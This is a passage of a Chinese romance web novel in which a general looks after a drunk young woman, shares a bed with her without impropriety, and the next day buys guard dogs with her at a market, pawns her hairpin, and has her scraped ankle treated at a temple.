缓缓走上家中小径,柳善因热乎乎的小脸与赵留行越贴越近,直到贴上他冷峻的面庞,才安心地停下,可她是安心了,全然不顾抱他的人有多羞。 赵留行被身上人暖得火热,试图将柳善因的脸推开,却发现无论怎样她都会再移回来。他一边抱她,一边推她,实在分身乏术,无奈只能妥协放弃了。 他啊,还真是输给她了。 两个人如此紧紧相贴,月光洒在他们身上都不显得阴冷。 甚至有些暖意。 路上女郎清浅的呼吸落进赵留行脖颈,吹得他春心痒痒。怎么说赵留行也是个血气方刚的儿郎,虽是常年习武,练得禁情割欲,可就是再 铁的心,又怎能抵得住女郎的天真烂漫,明朗如光呢? 他承认,他已经开始期盼回家,因为只要回到家就能见到柳善因。 他不懂这是怎样的情绪,更不懂什么是爱和欢喜。他只知今日听见柳善因有难,他便没有一刻不为之担忧。 赵留行陷入沉思,肩上却忽而传来一声柔软的:“哥哥,我们到家了吗?” 柳善因的声音将他拉回现实。 赵留行透过女郎飘散在眼前的碎发,望向路边零星的灯盏,沉沉嗯了一声。柳善因迷迷糊糊睁开眼睛,将脑袋抵在他的肩头,沉默许久忽而道了句:“哥哥,我好想你,没有哥哥的小柳好累……” “真的好累。” 女郎凄凄切切,赵留行的心也跟着隐隐作痛。 他停顿在院中那颗柳善因曾给他许诺,盛夏做蜜渍桃子的桃树下,陷入沉默,他想自己是不是有些太过贪心,都是他才带给她这么多麻烦,这对她根本不公平。 赵留行想着想着忽而主动贴上柳善因的脑袋,诚恳地与之说:“抱歉小柳,都怪我。我会尽快了断一切,让你们去个安稳的地方,开始新的生活。” 柳善因默而无言。 赵留行却想着眼前人大抵只有离开他,才能幸福下去。 第42章 第42章同床共枕 赵留行跨进昏暗的房间,摸索着将柳善因放在床上。 柳善因竟死抓着他不放,她就好似怕只要一放手,阿兄便会从自己手里溜走再也见不到了。赵留行半躬着腰,伸手去扒女郎的胳膊,柳善因却是万般不愿。 他无可奈何,只得垂着被她拽弯的脖颈低声说:“小柳,你松手,我得去书房把小宝抱回来。” 柳善因在醉梦里噙泪。即便是醉着,她仍未有半分任性,依旧那样懂事地问:“小柳放手了,哥哥还会回来吗?” 月色沉沉,自窗台映上缥缈的床帐。 赵留行撑扶在女郎两侧,手背上的青筋为之暴起,尽管屋里的光线不算明亮,但他还是通过月光望见了女郎眼角晶莹的泪花,他压低声音同身下的女郎说:“会的,你若不信,我们拉钩。” 赵留行难得这样温和的说话。 柳善因点点头,想起儿时和阿兄的无数次约定,皆一一实现。 唯有最后一次, 说要平安归家,他却失言了。 可柳善因仍然愿意相信阿兄不会作假,瞧她松开手,将灵巧的小指缓缓伸向眼前的人吗,赵留行抬起头,勾住她的手指在夜里晃了两下。 誓约就此而成,赵留行不会食言。 他在临走前,熟练地将被子盖在了女郎的身上,柳善因也就此偏头迷糊而去。 随后赵留行从乳娘那抱回小家伙,一进屋看见床上睡着的人,不由得松了口气,跟着托起小家伙的脑袋,小心翼翼将其搁上坐床,他这才将肩头的担子给搁了下。 赵留行站在屋里引燃一盏黯淡的烛火,待到环顾四周,他竟感受到了从未拥有过的安心。 这是种莫名的归属感,这或许就是他们说的…… 家。 赵留行垂下双目,下意识躲避起自己的内心,他知晓人一旦尝过“甜头”,就再难放手。所以他想自己只要不起心,不动念,就能和从前一个样。 赵留行默默转身去推厢房的门,既然姑侄两个都睡了,他也是时候收拾收拾自己了。 殊不知,柳善因却在她推门后惊醒,悄然起身追了出去- 赵留行将沉重的盔甲卸下,就好似卸下了所有疲惫。 可他从前不是这样的,他明明穿着这身征衣,宿在风沙里三两日也不会累…… 赵留行沉默着脱下中衣,大大小小的伤痕布在背脊,诉说着刀剑无眼,沙场无情,他回过头想要去拿床边干净的锦袍,却被闯进实现的女郎吓了一跳,连身体也忘了遮掩,“天爷吓死我,小柳,你走路怎么没声啊——” 柳善因委屈巴巴立在赵留行面前,半梦又半醒。 此刻,幸好屋中没燃灯,不若赵留行就要被眼前人看个精光。等他反应过来,慌忙将衣裳披上了身,胸前分明的线条也就此被隐去。柳善因噘嘴看着眼前的昏暗不说话,她就仿若在怪罪他没能信守承诺。 “走了,别在这儿呆着了。” 赵留行似是猜到几分,即刻系好衣带,拽着她的胳膊,将柳善因带了回去。 再次将人送到床边,赵留行穿着宽松的睡袍看向困意上头,却仍强撑着眼睛的柳善因,眯眼道:“睡吧小柳,时候不早,我瞧你也困了。” 柳善因抬起头,眼中早就模糊了阿兄的模样。可她还是拼命摇摇头,想要把眼前人再看清一点,她说:“不要,我怕睡着了,就再也见不到你了。” 柳善因什么都知晓,她知晓自己在做梦,她知晓阿兄已经离去。 只是她不愿醒。 赵留行望着这与往日的乐观纯粹,全然不同的柳善因如鲠在喉,他甚至有一瞬觉得,若那日柳徽没替他挡下那一剑,结局是不是会更好。 毕竟,若是他死了,应是没有人会为他牵挂,或是这样伤心。 他不为自己惋惜,他只心疼柳善因。 赵留行蹲下身,第二次握起女郎掌心,他就这样沉声告诉眼前人:“你相信我,你只要闭上眼睛,就永远能见到你想见的人。” 柳善因闻言诚恳追问:“真的吗?” 赵留行点头不语。 柳善因居然真的乖乖听话将眼睛闭起,赵留行见状起身扶着她的肩膀,让其重新躺下。他怕眼前人从梦中惊醒,便顺势坐在床边如同哄娃娃般,轻轻拍起她的后背,叫她睡得再安稳些。 谁曾想这一坐,就到了第二天早上。 翌日,柳善因捂着隐隐作痛的脑袋醒来,她刚伸了个懒腰,就察觉脖子后头被什么东西硌着。她纳闷着从西转向东,忽然被身边躺着的人吓得一激灵。 赵,赵赵将军怎么在床上!? 柳善因噌的一下就从床头坐去了床尾,躲在被子里不敢动弹。等她定睛一看,更是欲哭无泪,原来适才硌她的东西,是赵赵将军的手臂!这到底是怎么一回事啊—— “醒了?酒也跟着醒了吗?” 赵留行听见动静,微微抬头,瞄了柳善因一眼。 他察觉到手臂酸痛,随意左右动了两下。 柳善因一脸惊悚望向赵留行,她全然不记得昨天发生了什么事,也记不清自己昨天是怎么回到了这里,她只知道昨天自己喝醉了……对,她喝醉了酒! 柳善因想至此处,慌里慌张掀开被子查看,却被赵留行一言打断,“不用瞧了,你从上到下,连一根头发丝我都没动。我虽名声差些,但还不至于趁人之危。” 柳善因赶忙挥手解释:“不是的赵赵将军,我不是那个意思,我是怕……我对你做什么不好的事。” 她对……他做不好的事?这是哪的话! 赵留行看着与昨晚上判若两人的柳善因,冷笑着摇摇头。 柳善因知道他们无事发生,又披着被子从床尾爬回了床头,盯着赵留行歪头道:“可是赵赵将军,你为什么会睡在床上啊?难不成是我真的对你!” 柳善因不敢细想,赵留行知道她那脑袋瓜又在想些什么不正常的事,便伸手敲了她一下。 柳善因痛的哦了一声。 赵留行躲闪开女郎的注视,转而指向地上脏掉的地铺,抱屈道:“若不是昨晚上你把我睡得地方吐脏了,我何至于跟你挤在一张床上?我这一夜被你拳打脚踢不说,还要被你当做了人肉枕头,就连这一大早起,你也不放过我。我容易吗我。” 话落,赵留行两眼一闭,甚至不敢回想昨晚上自己得一边照顾小的,还得一边看着大的,是何等手忙脚乱的景象。 柳善因闻言盘腿坐下,顺手将身上的被子盖去了赵留行身上,还贴心地为他掖好了被角,“我睡觉确实不是太老实,辛苦你了赵赵将军,被我这么折腾,你一夜也没睡好吧?那趁着还早,你再睡一会吧。我不打扰你 了,我去把地上的被褥洗干净。” 柳善因为自己的行为感到愧疚,她缩着脑袋就打算跨过赵留行翻下床去。谁成想,她还没抬起腿,就被赵留行一把抓住手腕,拦住了下床的路, 柳善因茫茫然回头去看,赵留行却掀开被褥,冲她说了句:“还睡什么睡,起了,收拾收拾我带你去个地方。” 第43章 第43章出门逛逛 今朝春光明媚,等柳善因换好裙衫抱着小侄子从屋里出来的时候,赵留行早就站在桃树边上等候多时,他听见动静打眼望去,莲红的纱裙把女郎衬得粉白,束起的发髻上还簪着精巧的珠钗。 赵留行看愣了神,他觉得今日眼中的柳善因与往日不同,却又说不上哪里不同。 眼前人在他眼中熠熠,美好又明亮。 柳善因察觉不对劲,不明所以地走上前探头冲赵留行眨眨眼,“赵赵将军,在看什么?我脸上有什么东西吗?” 赵留行反应过来,以迅雷不及掩耳之势躲开了女郎的目光,辩解道:“谁看你了?我在看小宝。” 小宝歪头无解。 赵留行却顺势从柳善因怀里抱起小家伙,转身往书房的方向走去,“小宝如今跟着乳娘也不闹了,今天出门不方便,就不带他了。有什么事长夏她们会解决。” 不带了?就他们两个人吗?不方便…… 这是要带她去哪里啊! 柳善因听着赵留行的话,开始胡思乱想起来。 赵留行在那头跟乳娘交代一通,转头出来瞧见屋外人跟个木头般愣在原地,随即扬声道:“还愣着做什么?走了——” 柳善因回过神哦了一声,追了出去。 穿过生机勃勃的院落,柳善因跟上赵留行的脚步,又思量起昨晚上的事。可无论她怎么努力回想,脑袋里都是一片空白,甚至摸一摸脑门还会隐隐作痛。 怎么就想不起来呢? 她抬头看看赵留行,想问又不敢问,毕竟她也知晓自己醉酒后会是个什么德行,大抵自己又给眼前人添了麻烦。 赵留行不经意回眸,似是看出身边人的情绪,便低声去问:“想说什么就大胆些说。” 柳善因见状抬起头,小心翼翼地试探,“赵赵将军,我昨天是怎么回家的啊……” “我带你回来的。”赵留行没说别的,柳善因却纳了闷,“是赵赵将军接的我吗?可昨天你不应该在北郊吗?怎么会突然回来?” “我能未卜先知,知晓家中有事,我便告假回来了。”赵留行转头看了眼柳善因,竟然和她开起了玩笑。 柳善因也是傻乎乎相信了他,“真的呀,赵赵将军好厉害,什么都能知道!昨天如果不是你提前赶回来,我还真不知该怎么办了。” 赵留行瞧着女郎单纯的模样,忍不住笑出声。柳善因茫茫然抬眸去问:“赵赵将军笑什么?” 赵留行却说:“小柳,你未免也太信任于我了。” 柳善因疑惑着啊了一声,她确实对赵留行是百分百的信任,未曾有半句话的怀疑,她觉得赵留行就是这世间除了阿兄外,最值得信任的人。 她问赵留行,“我难道不该信任赵赵将军吗?” 赵留行听着柳善因的回答,忽而陷入沉默。他抬脚跨过府门,似是下了很大的决心才与之开口道:“防人之心不可无,小柳你记住往后自己带着小宝生活的时候,还是不要这般轻信于人,毕竟就算你我站在对面,你也很难猜到我在想些什么。” “好,我知道了。” 柳善因虽笨,但最难得的是听劝,她点点头把眼前人的话老实记下。只是她还是忍不住负手来到赵留行面前问:“那赵赵将军,你现在在想些什么呢?” 赵留行放缓脚步,盯着女郎看了半晌,他在想什么?他真能说出口吗? “你猜猜?”赵留行逗柳善因。 柳善因闻言将手臂环起,眯眼笑说:“嗯…我猜,赵赵将军在想小柳今天穿得可真好看!” “……” 赵留行默而不语。 是,倒也被她猜着了,他也觉得她好看,好看极了。 柳善因自说自话,说完便自顾自地笑。 她转头并肩走在赵留行身边,看着人来人往的长街再三确认:“赵赵将军,我昨天真的没有做奇怪的事吧?比如把自己当做……” “小狗?” 赵留行敛去目光,回想起昨晚她那一句句让人心碎的问话,以及被她蹭过的脖颈与脑袋,不由得头皮发麻。他总不能把这些话讲述给她,便摇头说:“没有,你昨日回来吐过就睡了。” 柳善因听他这么说,总算放下心来。 其余的都无所谓,只要不给赵留行添麻烦就好,不若这欠的债一重加一重,她就是把自己卖了也还不清。 “夫妻两个”刚离开家,长夏就开始了一日的忙碌。 她哼着小曲来到屋里看着地上狼藉的被褥,二话没说搁下手中木盆俯身整理。 可等她打开被褥定睛瞧见那上头被赵留行清理一半放弃,残留下的淡黄色印迹,不由得想入非非,趁着人家醉酒还和人家那个那个?赵老三这人也太猴急了吧,装真能装,真是瞧不出来,他原还是个“虎狼之徒”! 与此同时,漫步街头的赵留行莫名打了个大大的喷嚏,吓得柳善因缩了缩脑袋。 “赵赵将军,你是着凉了吗?” 赵留行摇摇头,他只觉是背后有人说他,却拿不准是不是柳善因!- 城南偏东有块专卖牲畜的市集,赵留行和柳善因两人靠着脚力,哼哧哼哧走了老半天才终是抵了此地。 柳善因站在市集外,耳中听着人群的吵嚷和动物的鸣叫,忍不住哇了一声。 有一瞬,她还以为自己回到了兰花村,回到了家家户户养鸡养鸭,养牛养羊的兰花村。 赵留行却漫不经心地扫视过眼前的一切。 “小柳,咱们……” 他是带着目的来的,可等他刚想开口跟身边人说话,一回头身边的女郎就不见了踪影。 彼之,柳善因被摊位上毛茸茸的小动物所吸引,她欢欢喜喜跑去,弯腰趴在人家的摊位前惊诧道:“好可爱的兔子,好精神的小鸡,好漂亮的狸奴,哇,还有刚满月的小犬,瞧上去憨憨的呢!” 柳善因仔仔细细把摊位里的活物都看了个遍,兴奋的不得了。赵留行寻了一圈来到她身边,还没开口,就听眼前人问他:“赵赵将军,你带我来这儿做什么啊?” 赵留行垂眸看了眼沉浸其中的女郎,才发现那只憨憨的小狗正在添她的手背,便应了声:“买狗。” “买狗?好端端的为什么要买狗?”柳善因不知其解。 但她还是配合着赵留行,趁机抱起手边的小狗贴在脸上边蹭边说,“那赵赵将军看这只怎么样?它软软的,呆呆的,还很亲人!一看就好养活。” 赵留行盯着柳善因的动作,心中竟然有隐隐的不爽,昨日蹭他,今日怎么就蹭起狗来了? 这要是买回家…… 赵留行有一万种理由,便不由分说地道是:“不成。” “为什么不成啊?”柳善因闻言失落落放下狗子,狗子也失落落收起尾巴,“那赵赵将军要买什么样的?” 赵留行不语,只转身离开了这售卖动物幼崽的摊位前。柳善因无奈跟这与自己无缘的狗子挥了挥手,回身跟了上去。 二人就这么兜兜转转,看得眼花缭乱。 柳善因这边左顾右盼,还没顾得上回头,前面的人就猛然停了下来。惹得她一个没留神,直接撞到了赵留行的后背上。 赵留行如一根木桩,撞得柳善因脑袋疼,而他却面不改色盯着不远处传来此起彼伏狗吠声的摊位,若有所思。 “赵赵将军怎么了?怎么停下了?”柳善因纳闷,站在他背后轻轻揉了揉额头。 赵留行循声回眸,“你适才问我要买什么样的?喏,找到了,我要买这样的——” 柳善因不明白,可等她堪堪移开遮挡住视线的手心,就被眼前的景象吓得躲回了赵留行的后背去。 “哇呀,这些大狗也太凶了吧!” 但瞧那边的摊位里,尽是青面獠牙的成年恶犬,它们 就仿若嗅到了柳善因的害怕,张开大口冲着她嗷嗷叫个没完。 柳善因抓着赵留行的衣衫也抖抖抖个不停。 她害怕地不敢抬头。 赵留行高大的形象就此展开,他转手护着柳善因,宽慰道:“别怕,有我在怕什么。走,过去瞧瞧。” 柳善因皱起眉头,也顾不上什么边界,紧紧贴着赵留行就是不让人上前,“别,还是别过去了吧,赵赵将军就非要买这样的狗狗不可吗?它们真的好吓人啊,感觉能把我吃掉。” 赵留行忍不住发笑,他并非是嘲笑柳善因胆小,他只是觉得女郎有些可爱。 他回过头,看着那端的烈犬跟身边人解释说:“不买这样的大狗如何能看家护院?若是真买了适才小柳挑的那只,那等到下次再有闲杂人等登门造次,咱们叫长夏放狗赶人,那小家伙岂不一脚就被踹出几丈远?你说说,到底是门看它,还是它看门啊?” 赵留行有理有据,柳善因这才恍然明白眼前人原来是这个意思。可是她还是怕的紧。 赵留行也看得出女郎害怕,便回眸做了退步,“你若真是害怕,那你就在这儿等我,我自己过去瞧瞧。你若还能克服,就随我过去挑些有眼缘的带回去,你自己决定。” “那,那我还是跟赵赵将军一块过去吧。”柳善因思量半天,决定硬着头皮过去瞧瞧,但她发誓自己是绝对不会离开赵留行半步。 就这么,赵留行拖着柳善因艰难来到摊位前。 凶猛的狗吠,听得柳善因发怵,她把脑袋贴在赵留行健硕的手臂后头,看卖狗的小贩冲他们言语:“哎呦,郎君娘子,看狗吗?咱们这都是上好的看门犬,您叫它往东它绝不往西,您让它咬手它绝不咬脚诶!您看看您二位要几只?想要个什么样的?我替二位寻寻!” 赵留行闻言大手一挥,“五只——” 柳善因却忽而眼前一黑,“五,五只!?” 第44章 第44章什么掏钱 小贩搓手望向赵留行,嘴角都快咧上了太阳穴,眼前人财大气粗挥手就是五只,叫小贩不由得在心里拜了菩萨千百遍,只是这家的女主人怎么看上去似是有些不愿? 小贩看着郎君身后的女郎,一脸疑惑问起自家男人。 “这摊子上拢共就六只大狗,为,为什么我们就要五只啊……是不是太多了?” “多?不多。”赵留行环起手臂,霸道望向狗圈里的恶犬,不知是他的气势太强,还是他比这些狗子更恶些。只见适才还狂吠不断的恶犬,这会儿竟一个个在他的注视里,乖乖坐好,吐着舌头一动也不敢动。 赵留行趁势解释说:“家中五个人,按人头算一人一只岂不正好?就是将来离开洛阳,把他们带到北庭,也可以给都护府看家护院。二姑最喜欢烈犬,刚好孝敬二姑了。” 柳善因很少听赵留行提二姑。 她不认识二姑,只模模糊糊知晓二姑很厉害,是个朝中为数不多的女将军,他们现在住的宅子就是她置办的,她想那这么厉害的人,肯定是日理万机,五只狗子到时候叫啊叫可别累着二姑。 她便开始跟赵留行讨价还价,“两只!” “四只!”赵留行摇头。 这两口子还没跟小贩争辩,自己倒先内讧上了,看得小贩一愣一愣。 “三只!”柳善因蹙起眉,做了让步。 没成想,赵留行却没按套路出牌,“小贩,买三只送一只,你看如何?” 话题怎么就突然转到自己身上了? 小贩夹在两口的僵持间左看看柳善因,右望望赵留行,生怕两口子再争下去,这生意非得黄了不可,他便咬咬牙,扬声道是:“成交。” 柳善因转头瞠目而望,这,这就成交了?她还没问价呢! 可那端赵留行都已经开始挑起心仪的狗子,柳善因还能说些什么,毕竟这钱也是从别人的口袋掏,她再多嘴也不合适。她便默不作声地向后退去。 赵留行左右探看拿不定主意,转头想跟柳善因商量,却见人离了自己八丈远:“你躲那么远作甚?它们不咬人的,你过来一块挑挑,有没有那只合眼缘的?” 柳善因站在远处扯着嗓子挥手,“不用了,不用了,赵赵将军你自己挑就好!” 她是看哪个都发怵。 赵留行瞧她副样子无奈回过头,随意点了几个毛色发亮的留下。小贩见状为其一一拴上狗绳,跟着与其算了价格,“郎君三只的价格一共是一千五百文,您瞧瞧怎么样?” 赵留行哪懂行情,只要是他能掏得起的价格,他都能应下。 赵留行闻言当着小贩的面,自上而下在身上摸索个遍,忽而想起自己去北郊前,早将钱袋交给柳善因保管,他便二话没说转过头冲那边逗弄小鹅的柳善因大呼:“夫人掏钱——” “啊?掏什么?”柳善因茫然回头。 赵留行继而大喊:“掏钱!” “什么掏钱?”柳善因没搞明白,她起身朝赵留行走来。赵留行看着女郎迷迷糊糊的脸,耐心问道,“买狗掏钱,你得过来跟人结账。我的钱袋子,不都在你那?” 市集太吵,柳善因离近才搞清楚是怎么一回事。可等赵留行叫她掏钱,她却似是突然想到了什么大叫一声,“啊,对呀!你的钱在我这儿,我还怕钱丢,给偷偷埋在菜园子里了!” “……” 此刻,万事俱备只差掏钱,赵留行真不知该说些什么。他不懂,她把钱埋起来作甚,不是说了让她花来着?这下可好了,俩人算是白哼哧哼哧跑了这么远。 柳善因知道自己犯了错,对着手指不敢言语。她出门前只顾着想昨晚上的事了,压根没想到这茬。 两口子僵持不动。 小贩见状瞬间不愿意了,合着这俩人在这儿争了半天,全都没带钱!这不是耍他吗! “去去去,没钱出来买什么买啊!你俩商量好再来吧——” 事已至此,赵留行也没别的办法,他也顾不上说别的,只能先拽着柳善因逃离这是非之地再说。于是乎,两口子因为没有带钱,而灰溜溜地离开了市集里面。 转角站在街边,柳善因瞧着放缓脚步的赵留行,勾着头张口去问:“赵赵将军,咱们不买了吗?不行的话,你在这儿等我,我现在跑着回去取钱!” 回去?怪麻烦的。 这一来一回不得一个多时辰,他们又没钱赁车。 再说了,他哪能叫她回家取钱。 赵留行不说话,他站定脚步打街上扫视一圈,开始在心里默默盘算。柳善因不明所以,只自顾自地抱歉道:“都怪我粗心大意,竟然忘记出门带钱。” 赵留行沉默半晌好似才反应过来般,回眸冲她说:“这狗还得买,但咱俩不必回家取钱。” “不回家取钱?那哪来的钱买狗呀?诶——不好的事情咱们可不能做!偷狗可是会被送去衙门的!”虽说柳善因懵头懵脑,但她那杂七杂八的想法,倒是一个接一个。 “……” 赵留行抬手敲了她的脑袋,“你又想什么呢!把我当什么人了。” 柳善因眼疾手快挡下,却还是被眼前人敲红了手背。她嘶了一声,一边揉着手背,一边噘嘴问他,“那赵赵将军想怎么做呀?不回家取钱,还能有什么办法呀?咱们总不能沿街乞讨吧。” 赵留行转眸朝街角的铺子昂了昂头,柳善因循着他指的方向去看,“当铺?对呀,我怎么没想到呢!” “咱们当点东西就好了啊。” 赵留行点点头,二人却又愣在了街角。 是当点东西就行,可是当点什么东西?赵留行身上可谓是“一穷二白”,连一样贵重的饰品,哪怕是个挂坠都没有,总不能扒了衣裳,光着回去。他便把主意打到了女郎身上。 柳善因昂头看着赵留行将自己扫视个遍,不由得疑惑:“赵 赵将军,你看我做什么?” 赵留行忽而盯着女郎的头顶,挑了挑眉,柳善因这回竟然立刻心领神会,可她却捂着自己的脑袋不愿道:“你,你该不会想当我的珠钗吧,这可是你送我的第一根珠钗,也是小柳第一次收到陌生人的礼物,不要。” 赵留行也很为难,但他俩加在一起,就这么一根珠钗值钱。他也只能暂且委屈委屈女郎,“你和小宝在家的安全重要,还是一支珠钗重要?等回去了,我给你买十支成不成?” “不成。”柳善因摇摇头,捂着脑袋躲去一边。 赵留行偏追过去,“那要不这样,等把你和狗子送回家,我就骑马过来赎。” “没有别的办法了吗?”这个方案可行,柳善因有些动摇。 赵留行垂眸唤了声:“小柳。” “好吧。”柳善因闻声乖乖取下脑袋上的珠钗,默默与之告别。 她甚至有些许懊悔,要知道今早出门就不带这支珠钗了,她还想着跟赵赵将军出门不能丢脸,带支最贵的珠钗撑撑场面,谁成想,现在脸也丢了,珠钗也离自己而去了。 苦啊! 柳善因恋恋不舍地将珠钗递去,跟赵留行千叮咛万嘱咐:“一定一定,给它当个好价钱。” “知……” 柳善因紧紧将珠钗攥着, 赵留行同眼前人夺了几下,才终于从她手中将东西抢了过来。 “知道了。” 赵留行转身离去,不一会儿就提溜着几贯钱走了回来,柳善因蹲在街角看着赵留行冲自己神气道:“走,带狗子回家去。”- 再次归来,二人有了钱,走起路来都是脚下生风。 那逼人的气势,就仿若千金在手。 只见赵留行领着柳善因来到小贩面前,将两贯钱丢进小贩怀中,试图找回颜面道:“给,不用找了。把我适才挑的那几只,帮我套上。” 不用找了?有钱烧的! “瞎说!”柳善因在钱的事上绝不马虎,她推开赵留行当即反驳,毕竟这当的可是她的珠钗啊,“不要听他的,他瞎说的,还是要找的!刚才说的多少就是多少!” 小贩见钱眼开,脸上的笑容随即迎了过来,“是是是,夫人说的是,该多少就多少,咱虽做小本买卖,但也绝对不占主顾的便宜。我就知道二位还会回来,狗已经帮二位套好了。您牵好,我给您找钱。” 赵留行没多说什么。 小贩手快,没等柳善因反应,那四条狗绳就落进了她的手里。她低头一瞧,差点没被身前那几双盯着自己的锐利目光吓晕过去。 赵留行这边接过小贩找来的铜钱,转身想跟柳善因搭话,居然惊奇地发现人不在了身边。 “又去哪了?”赵留行揣起铜钱念念叨叨,小贩接过他的话茬,抬眼眺望市集出口的方向,漫不经心道,“郎君,您家那位在那,快追吧,再不追就追不上了。” “?” 赵留行满头雾水地转身,一抬眼就瞧见柳善因被四条恶犬“牵着”朝远处越奔越远,只闻她边奔,边冲赵留行大喊:“啊啊,赵赵将军,救,救命——” 第45章 第45章背背抱抱 “让,让,快让一让——” 四只狗子在柳善因手中就仿若脱缰的野马,拽着她一个劲地往前冲,叫她鞋底都快磨烂了也刹不住分毫。柳善因欲哭无泪,天了个地姥娘娘,谁能来救救她啊! 可就是这样自身难保,她还是没忘提醒过路人注意安全。 路人闻声纷纷退避,他们茫然看着女郎匆匆地来,匆匆地去,一转眼就消失不见,只剩下一地尘烟。可女郎走了,随之而来的高大儿郎却在后头边追边喊:“小柳,把狗绳松了!” “柳善因——” 赵留行挤过熙攘的人群,嗓子都快喊得冒烟。柳善因却一直不肯放手,她想若是放手了,那用自己珠钗换来的一千五百文,岂不就打了水漂? 不行,绝对不行! 于是乎,柳善因在前头奔,赵留行在人群里追,两口子俨然成了市集里的焦点,颜面也早被踩碎了一地。赵留行边追边想这么下去不是办法,再等等柳善因恐怕就要出城了。 他便停下脚步去捡地上的石头,准备使些法子叫狗子先停下来。 谁成想,还没等他出手,四只撒欢的狗子就被路边的蝴蝶吸引,冲进了城隍庙外的花丛。不知是不是地姥娘娘显灵,柳善因虽是摔了个狗爬,却没有什么大碍。 而那四只狗子呢?竟然你追我赶,绕来绕去,最终把自己缠在了花丛那端的梨树间。 再也动弹不得。 赵留行见势抛下手中的石头,疾步奔向柳善因,一把就将人拽了起来。他垂眸看着柳善因被泥土污染的裙摆,有些着急,“不是叫你把狗绳松了?怎么样?有没有伤着?” 柳善因被人架着胳膊,一脸委屈相,她想哭又不敢哭,只能噙泪不语。赵留行抬眼看女郎头顶花叶凌乱,伸手帮她捻起几片,继而追问:“问你话呢?摔傻了?” 柳善因缓过劲后,摇头说:“没有,我没事的。” 她不敢告诉赵留行,自己是因为心疼钱才不松手的,说实话柳善因挺怕他的。可赵留行看着女郎这副样子还是不放心,他随即松开她的手臂认真道:“真没有?来,你给我走两步瞧瞧。” 柳善因啊了一声,赵留行环起手臂眯眼看她,“啊什么啊,叫你动。” 柳善因不解,但还是乖乖听话抬脚向前。结果不出所料,还真被赵留行猜对了。柳善因反应慢,痛觉也缓,她这才刚走了半步就嘶了一声往旁边歪去。 也就是赵留行反应快,一把将人扶住,没叫她再摔到地上。 “还说没事?”赵留行盯着柳善因,柳善因忍痛尴尬地挠头辩解称:“刚才不痛,现在才痛的。不过我真的没事,赵赵将军你不要担心,我还能走的!” 柳善因说罢想若无其事地走,却被痛得装不下去,五官硬生生拧成一个痛字,弄得赵留行哭笑不得,他拿她真是没有办法,“行了,别逞强了。伤了咱们就看。” 看伤?柳善因摇摇脑袋,“咱们哪还有钱啊!我忍忍,咱们回家擦些药膏就好。别乱花钱。” “有我在,你别管。”赵留行闻言重新架起女郎的手臂,一口回绝。 柳善因是既感动,又怕麻烦他,欲言又止了半天,最终选择安静点。可就在赵留行环顾四周,准备寻个医馆给柳善因瞧伤时,城隍庙外路过的女道长瞧见这边的狼藉,抬脚走了过来。 女道长打眼瞧见柳善因瘸腿的模样,张口便问:“娘子是受伤了吗?需要贫道帮些什么忙吗?” “内子摔了一跤,敢问道长可知附近哪有看跌打的医馆?”赵留行如实相告,女道长心有慈悲,“原是如此,正巧贫道之前行过几年医,郎君若是不嫌,就请娘子到庙中,让我为娘子瞧瞧。” “如此甚好,那就劳烦道长了。”赵留行颔首致谢,柳善因也跟着他与女道长道谢。 女道长摆手无言,转头引着二人往城隍庙里去。 离开前,柳善因还问赵留行,“诶,赵赵将军,这些绕在树干上的狗子们怎么办?” 赵留行却没同她商量,一把将她横抱在怀里厉声道:“都什么时候了?你还在乎这些?城隍庙外有神仙,他们会替你看着,你——就给我安心看伤。” 柳善因被眼前人忽而抱起,哪里还管得上什么狗子!只瞧炽热的天光瞬间烧红了她的脸。 原先就是阿兄也没这么抱过她。 赵赵将军在做什么啊! 柳善因心慌意乱,殊不知昨晚上她与赵留行抱得比这更亲密些。 “你,你,你放我下来——”柳善因惊呼。 赵留行却镇定自若,抱着受伤的女郎在来往香客的注视下,往庙中的偏僻处行去- 城隍庙的左廊后有棵古槐树,女道长把二人安排在树下后就转头进屋取了药箱,赵留行 也趁势将柳善因搁在了石凳上。他倒是没什么,柳善因却害羞地背过身去不敢看他。 赵留行不明所以,他刚想开口问话。 女道长就拎着药箱从屋里走了出来,赵留行便闭嘴不言。 女道长动作利落,抬着柳善因受伤的脚踝瞧了半晌,最后发现不过是擦破了些皮,就从药箱里取出些草木灰敷在眼前人的伤口上,疼得柳善因绷直了手臂,也不敢叫唤。 赵留行见状戳了戳身边人,“疼就叫出声,憋着作甚?不成你就掐着我的手臂。” 柳善因咬牙硬挺。 她怕自己嚎啕出声,会吵到神仙打盹,便伸手抓住赵留行递来的手臂。 可女郎的小手一如既往地有劲,她一用力,赵留行就跟着呲牙。等到女道长起身,柳善因松手,赵留行撸开自己的袖口一瞧…… 红红的手印,就跟刻在他手臂上般醒目。 “行了,娘子这腿没什么大碍,只是擦出了个口子,回家别沾水,修养两日等结痂了就无事了。”女道长开口,赵留行回过神,敛起袖子沉声说,“多谢道长,请问这费用怎么……” 女道长却微微一笑,打断了他的话,“不过是举手之劳,郎君莫要挂怀。” 赵留行听明白女道长的意思,再次颔首致谢。 柳善因也跟着附和:“谢谢道长,没有您,我们还真不知道怎么办了。” 女道长积德行善,她收拾好药箱,也不多耽搁转头就跟他们道了别:“二位想歇息,就在此地多歇息一会儿,贫道还有事,就先行一步。二位莫送。” 女道长话落远走,赵留行目送着人影消失不见,这才转过了头。 谁知道,柳善因竟一瘸一拐地站起身,“好了,那咱们也走吧。” 赵留行蹙眉不解,一把将人按下,“走什么?坐着休息会儿再说。” 柳善因拧不过他力气大,只能老实坐了回去。 而后,两个人并肩坐在偶然有人路过的槐树下,一块百无聊赖地抬头望天。彼之光影透过茂密的树叶斑驳起二人的眉眼,柳善因和身边人随意攀谈,“赵赵将军,北郊的事情忙完了吗?你不用再回去了吗?” 赵留行闻言没动,他将一片云从东目送到西,“我跟郑老九交代好了,北郊我就不用再去了,等到后天我直接去宫中上值就行了。怎的?有事?” 柳善因摇摇头,“我随便问问。” 赵留行哦了一声,没再多言。 此间宁静,路过的人没有为树下的人注目,他们只当二人是对寻常的夫妻,在享受生活的平淡而已。柳善因却忽而垂下双目,在嗅到院中阵阵檀香后,想起了许多许多从前。 她没把赵留行当外人,就跟他念叨了两句:“往前每到生辰的时候,哥哥总会带我到村口的地母庙拜一拜,向地姥娘娘祈愿新的一岁,我能康健安泰。也不知来这里拜神的人们,都在祈愿些什么~” 赵留行没接茬,他不知道,家中烧香祭祀的事,从没带过他。 他对这些事向来不懂。 可赵留行不答,柳善因也没冷场,她转过头冲着赵留行说:“小柳的生辰是腊月初三,赵赵将军的生辰呢?” 赵留行下意识地答曰:“五月十五。” 